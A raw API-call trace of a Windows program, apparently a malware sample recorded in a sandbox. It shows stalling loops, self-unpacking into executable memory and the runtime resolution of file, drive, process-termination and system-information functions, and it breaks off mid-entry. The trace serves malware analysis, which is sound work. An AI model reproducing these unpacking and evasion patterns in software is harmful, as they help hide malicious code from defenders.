[0092.827] SetLastError (dwErrCode=0x0) [0092.827] GetLastError () returned 0x0 [0092.827] SetLastError (dwErrCode=0x0) [0092.827] GetLastError () returned 0x0 [0092.827] SetLastError (dwErrCode=0x0) [0092.827] GetLastError () returned 0x0 [0092.827] SetLastError (dwErrCode=0x0) [0092.827] GetLastError () returned 0x0 [0092.828] SetLastError (dwErrCode=0x0) [0092.828] GetLastError () returned 0x0 [0092.828] SetLastError (dwErrCode=0x0) [0092.828] GetLastError () returned 0x0 [0092.828] SetLastError (dwErrCode=0x0) [0092.828] GetLastError () returned 0x0 [0092.828] SetLastError (dwErrCode=0x0) [0092.828] GetLastError () returned 0x0 [0092.828] SetLastError (dwErrCode=0x0) [0092.828] GetLastError () returned 0x0 [0092.828] SetLastError (dwErrCode=0x0) [0092.829] GetLastError () returned 0x0 [0092.829] SetLastError (dwErrCode=0x0) [0092.829] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74650000 [0092.829] GetProcAddress (hModule=0x74650000, lpProcName="LocalAlloc") returned 0x74667a30 [0092.829] LocalAlloc (uFlags=0x0, uBytes=0x7a4c0) returned 0x7a1f48 [0092.834] GetProcAddress (hModule=0x74650000, lpProcName="VirtualProtect") returned 0x74667a50 [0092.835] VirtualProtect (in: lpAddress=0x7a1f48, dwSize=0x7a4c0, flNewProtect=0x40, lpflOldProtect=0x19febc | out: lpflOldProtect=0x19febc*=0x4) returned 1 [0092.864] GetProcessId (Process=0x0) returned 0x0 [0092.864] GetProcessId (Process=0x0) returned 0x0 [0092.864] GetProcessId (Process=0x0) returned 0x0 [0092.864] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.865] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.866] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.867] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.868] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.869] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.870] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.871] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.872] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.873] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.874] GetProcessId (Process=0x0) returned 0x0 [0092.877] GetProcessId (Process=0x0) returned 0x0 [0092.877] GetProcessId (Process=0x0) returned 0x0 [0092.877] GetProcessId (Process=0x0) returned 0x0 [0092.877] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.878] GetProcessId (Process=0x0) returned 0x0 [0092.879] GetProcessId (Process=0x0) returned 0x0 [0092.879] GetProcessId (Process=0x0) returned 0x0 [0092.879] GetProcessId (Process=0x0) returned 0x0 [0092.879] GetProcessId (Process=0x0) returned 0x0 [0092.879] GetProcessId (Process=0x0) returned 0x0 [0092.879] GetProcessId (Process=0x0) returned 0x0 [0092.881] GetProcessId (Process=0x0) returned 0x0 [0092.881] GetProcessId (Process=0x0) returned 0x0 [0092.881] GetProcessId (Process=0x0) returned 0x0 [0092.881] GetProcessId (Process=0x0) returned 0x0 [0092.881] GetProcessId (Process=0x0) returned 0x0 [0092.881] GetProcessId (Process=0x0) returned 0x0 [0092.881] GetProcessId (Process=0x0) returned 0x0 [0092.881] GetProcessId (Process=0x0) returned 0x0 [0092.882] GetProcessId (Process=0x0) returned 0x0 [0092.882] GetProcessId (Process=0x0) returned 0x0 [0092.882] GetProcessId (Process=0x0) returned 0x0 [0092.882] GetProcessId (Process=0x0) returned 0x0 [0092.882] GetProcessId (Process=0x0) returned 0x0 [0092.882] GetProcessId (Process=0x0) returned 0x0 [0092.882] GetProcessId (Process=0x0) returned 0x0 [0092.883] GetProcessId (Process=0x0) returned 0x0 [0092.883] GetProcessId (Process=0x0) returned 0x0 [0092.883] GetProcessId (Process=0x0) returned 0x0 [0092.883] GetProcessId (Process=0x0) returned 0x0 [0092.883] GetProcessId (Process=0x0) returned 0x0 [0092.883] GetProcessId (Process=0x0) returned 0x0 [0092.883] GetProcessId (Process=0x0) returned 0x0 [0092.883] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.884] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.885] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.886] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.887] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.888] GetProcessId (Process=0x0) returned 0x0 [0092.889] GetProcessId (Process=0x0) returned 0x0 [0101.221] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74650000 [0101.222] GetProcAddress (hModule=0x74650000, lpProcName="GlobalAlloc") returned 0x74669950 [0101.223] GetProcAddress (hModule=0x74650000, lpProcName="GetLastError") returned 0x74663870 [0101.223] GetProcAddress (hModule=0x74650000, lpProcName="Sleep") returned 0x74667990 [0101.223] GetProcAddress (hModule=0x74650000, lpProcName="VirtualAlloc") returned 0x74667810 [0101.223] GetProcAddress (hModule=0x74650000, lpProcName="CreateToolhelp32Snapshot") returned 0x74677b50 [0101.223] GetProcAddress (hModule=0x74650000, lpProcName="Module32First") returned 0x746944b0 [0101.223] GetProcAddress (hModule=0x74650000, lpProcName="CloseHandle") returned 0x74676630 [0101.223] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0xac [0101.230] Module32First (hSnapshot=0xac, lpme=0x19fc50) returned 1 [0101.243] VirtualAlloc (lpAddress=0x0, dwSize=0xd3050, flAllocationType=0x1000, flProtect=0x40) returned 0x2070000 [0101.306] GetProcAddress (hModule=0x74650000, lpProcName="LoadLibraryA") returned 0x74674bf0 [0101.306] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74650000 [0101.307] GetProcAddress (hModule=0x74650000, lpProcName="VirtualAlloc") returned 0x74667810 [0101.307] GetProcAddress (hModule=0x74650000, lpProcName="VirtualProtect") returned 0x74667a50 [0101.307] GetProcAddress (hModule=0x74650000, lpProcName="VirtualFree") returned 0x74667600 [0101.307] GetProcAddress (hModule=0x74650000, lpProcName="GetVersionExA") returned 0x7466a700 [0101.307] GetProcAddress (hModule=0x74650000, lpProcName="TerminateProcess") returned 0x74675100 [0101.307] GetProcAddress (hModule=0x74650000, lpProcName="ExitProcess") returned 0x74677b30 [0101.307] GetProcAddress (hModule=0x74650000, lpProcName="SetErrorMode") returned 0x74668d20 [0101.307] SetErrorMode (uMode=0x400) returned 0x0 [0101.308] SetErrorMode (uMode=0x0) returned 0x400 [0101.308] GetVersionExA (in: lpVersionInformation=0x19eb80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x79a958, dwMinorVersion=0x10000d, dwBuildNumber=0x79a4e8, dwPlatformId=0x10, szCSDVersion="¸ë\x19") | out: lpVersionInformation=0x19eb80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0101.308] VirtualAlloc (lpAddress=0x0, dwSize=0xd2200, flAllocationType=0x1000, flProtect=0x4) returned 0x2150000 [0101.336] VirtualProtect (in: lpAddress=0x400000, dwSize=0xd7000, flNewProtect=0x40, lpflOldProtect=0x19fc08 | out: lpflOldProtect=0x19fc08*=0x2) returned 1 [0101.410] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.418] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74650000 [0101.418] GetProcAddress (hModule=0x74650000, lpProcName="LocalFree") returned 0x746679a0 [0101.418] GetProcAddress (hModule=0x74650000, lpProcName="HeapAlloc") returned 0x77922bd0 [0101.418] GetProcAddress (hModule=0x74650000, lpProcName="GetProcessHeap") returned 0x74667710 [0101.418] GetProcAddress (hModule=0x74650000, lpProcName="HeapFree") returned 0x74661ba0 [0101.418] GetProcAddress (hModule=0x74650000, lpProcName="lstrcatA") returned 0x7466f640 [0101.418] GetProcAddress (hModule=0x74650000, lpProcName="CreateDirectoryA") returned 0x74676850 [0101.418] GetProcAddress (hModule=0x74650000, lpProcName="FindClose") returned 0x746768e0 [0101.418] GetProcAddress (hModule=0x74650000, lpProcName="FindNextFileW") returned 0x746769a0 [0101.419] GetProcAddress (hModule=0x74650000, lpProcName="DeleteFileW") returned 0x746768c0 [0101.419] GetProcAddress (hModule=0x74650000, lpProcName="lstrcmpW") returned 0x74667970 [0101.419] GetProcAddress (hModule=0x74650000, lpProcName="FindFirstFileW") returned 0x74676960 [0101.419] GetProcAddress (hModule=0x74650000, lpProcName="lstrcatW") returned 0x7468d170 [0101.419] GetProcAddress (hModule=0x74650000, lpProcName="lstrcpyW") returned 0x7468d260 [0101.419] GetProcAddress (hModule=0x74650000, lpProcName="FindNextFileA") returned 0x74676980 [0101.419] GetProcAddress (hModule=0x74650000, lpProcName="CopyFileA") returned 0x7466f780 [0101.419] GetProcAddress (hModule=0x74650000, lpProcName="FindFirstFileA") returned 0x74676920 [0101.419] GetProcAddress (hModule=0x74650000, lpProcName="GetDriveTypeA") returned 0x74676a00 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="GetLogicalDriveStringsA") returned 0x7468e790 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="DeleteFileA") returned 0x746768b0 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="GetCurrentProcessId") returned 0x746623e0 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="SetCurrentDirectoryA") returned 0x74692290 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="CopyFileW") returned 0x74676ec0 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="CloseHandle") returned 0x74676630 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="WriteFile") returned 0x74676ca0 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="CreateFileA") returned 0x74676880 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="MultiByteToWideChar") returned 0x74662ad0 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="ReadFile") returned 0x74676bb0 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="GetFileSize") returned 0x74676a70 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="GetVersionExA") returned 0x7466a700 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="GetFileSizeEx") returned 0x74676a80 [0101.420] GetProcAddress (hModule=0x74650000, lpProcName="GetCurrentDirectoryA") returned 0x74690dc0 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="GetPrivateProfileSectionNamesA") returned 0x7468a4e0 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="Process32Next") returned 0x7466d1c0 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="Process32First") returned 0x7466f4d0 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="CreateToolhelp32Snapshot") returned 0x74677b50 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="TerminateProcess") returned 0x74675100 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="OpenProcess") returned 0x74668bf0 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="GetProcAddress") returned 0x746678b0 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="LoadLibraryA") returned 0x74674bf0 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="FreeLibrary") returned 0x74669f50 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="GetFileAttributesA") returned 0x74676a20 [0101.421] GetProcAddress (hModule=0x74650000, lpProcName="FileTimeToSystemTime") returned 0x74676d00 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="InterlockedCompareExchange") returned 0x74673ff0 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="OutputDebugStringW") returned 0x746919a0 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="OutputDebugStringA") returned 0x7466fde0 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="WaitForSingleObjectEx") returned 0x74676830 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="WaitForSingleObject") returned 0x74676820 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="UnmapViewOfFile") returned 0x74669b20 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="UnlockFileEx") returned 0x74676c90 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="UnlockFile") returned 0x74676c80 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="SystemTimeToFileTime") returned 0x74674c10 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="SetFilePointer") returned 0x74676c40 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="SetEndOfFile") returned 0x74676c00 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="QueryPerformanceCounter") returned 0x746638a0 [0101.422] GetProcAddress (hModule=0x74650000, lpProcName="MapViewOfFile") returned 0x74668d60 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="LockFileEx") returned 0x74676b90 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="LockFile") returned 0x74676b80 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="LoadLibraryW") returned 0x7466a840 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="HeapCompact") returned 0x746912a0 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="HeapValidate") returned 0x7466cf80 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="HeapSize") returned 0x7791bb20 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="HeapReAlloc") returned 0x7791efe0 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="HeapDestroy") returned 0x74674c30 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="HeapCreate") returned 0x7466a100 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="GetVersionExW") returned 0x7466aa80 [0101.423] GetProcAddress (hModule=0x74650000, lpProcName="LocalAlloc") returned 0x74667a30 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetTempPathW") returned 0x74676b30 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetTempPathA") returned 0x74676b20 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetSystemTimeAsFileTime") returned 0x74667620 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetSystemTime") returned 0x74674940 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetSystemInfo") returned 0x7466a0f0 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetLastError") returned 0x74663870 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetFullPathNameW") returned 0x74676ae0 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetFullPathNameA") returned 0x74676ad0 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetFileAttributesExW") returned 0x74676a40 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetFileAttributesW") returned 0x74676a50 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetDiskFreeSpaceW") returned 0x746769f0 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="GetDiskFreeSpaceA") returned 0x746769c0 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="FormatMessageW") returned 0x74674f80 [0101.424] GetProcAddress (hModule=0x74650000, lpProcName="FormatMessageA") returned 0x7466f830 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="FlushFileBuffers") returned 0x746769b0 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="CreateMutexW") returned 0x746766f0 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="CreateFileMappingW") returned 0x746699b0 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="CreateFileMappingA") returned 0x746679c0 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="CreateFileW") returned 0x74676890 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="AreFileApisANSI") returned 0x7466f300 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="DeleteCriticalSection") returned 0x77940e60 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="EnterCriticalSection") returned 0x7792f290 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="LeaveCriticalSection") returned 0x7792f210 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSection") returned 0x7794a200 [0101.425] GetProcAddress (hModule=0x74650000, lpProcName="TryEnterCriticalSection") returned 0x77949190 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="GetCurrentThreadId") returned 0x74661b90 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="GetComputerNameA") returned 0x7466fbf0 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="IsWow64Process") returned 0x74669f10 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="GetCurrentProcess") returned 0x746638c0 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="GlobalMemoryStatus") returned 0x74668e00 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="GetModuleHandleA") returned 0x746699f0 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="GetUserDefaultLocaleName") returned 0x7466ad60 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="TzSpecificLocalTimeToSystemTime") returned 0x74692650 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="GetTimeZoneInformation") returned 0x7466acc0 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="GetLocaleInfoA") returned 0x7466e7b0 [0101.426] GetProcAddress (hModule=0x74650000, lpProcName="GetFileInformationByHandle") returned 0x74676a60 [0101.427] GetProcAddress (hModule=0x74650000, lpProcName="GetLocalTime") returned 0x74669be0 [0101.427] GetProcAddress (hModule=0x74650000, lpProcName="CompareStringW") returned 0x74672630 [0101.427] GetProcAddress (hModule=0x74650000, lpProcName="SetStdHandle") returned 0x74692430 [0101.427] GetProcAddress (hModule=0x74650000, lpProcName="WideCharToMultiByte") returned 0x74663880 [0101.427] GetProcAddress (hModule=0x74650000, lpProcName="Sleep") returned 0x74667990 [0101.427] GetProcAddress (hModule=0x74650000, lpProcName="IsValidLocale") returned 0x7466ab40 [0101.427] GetProcAddress (hModule=0x74650000, lpProcName="EnumSystemLocalesA") returned 0x74690b70 [0101.427] GetProcAddress (hModule=0x74650000, lpProcName="GetUserDefaultLCID") returned 0x74672920 [0101.427] GetProcAddress (hModule=0x74650000, lpProcName="GetLocaleInfoW") returned 0x7466cd70 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="GetStringTypeW") returned 0x74667950 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="GetEnvironmentStringsW") returned 0x7466aac0 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="FreeEnvironmentStringsW") returned 0x7466a7e0 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="GetModuleFileNameA") returned 0x7466a720 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="GetConsoleMode") returned 0x74676f70 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="GetConsoleCP") returned 0x74676f60 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="SetEnvironmentVariableA") returned 0x746922f0 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="SetEnvironmentVariableW") returned 0x7466e9e0 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="GetModuleFileNameW") returned 0x74669b00 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="IsValidCodePage") returned 0x7466a790 [0101.428] GetProcAddress (hModule=0x74650000, lpProcName="GetOEMCP") returned 0x74675140 [0101.429] GetProcAddress 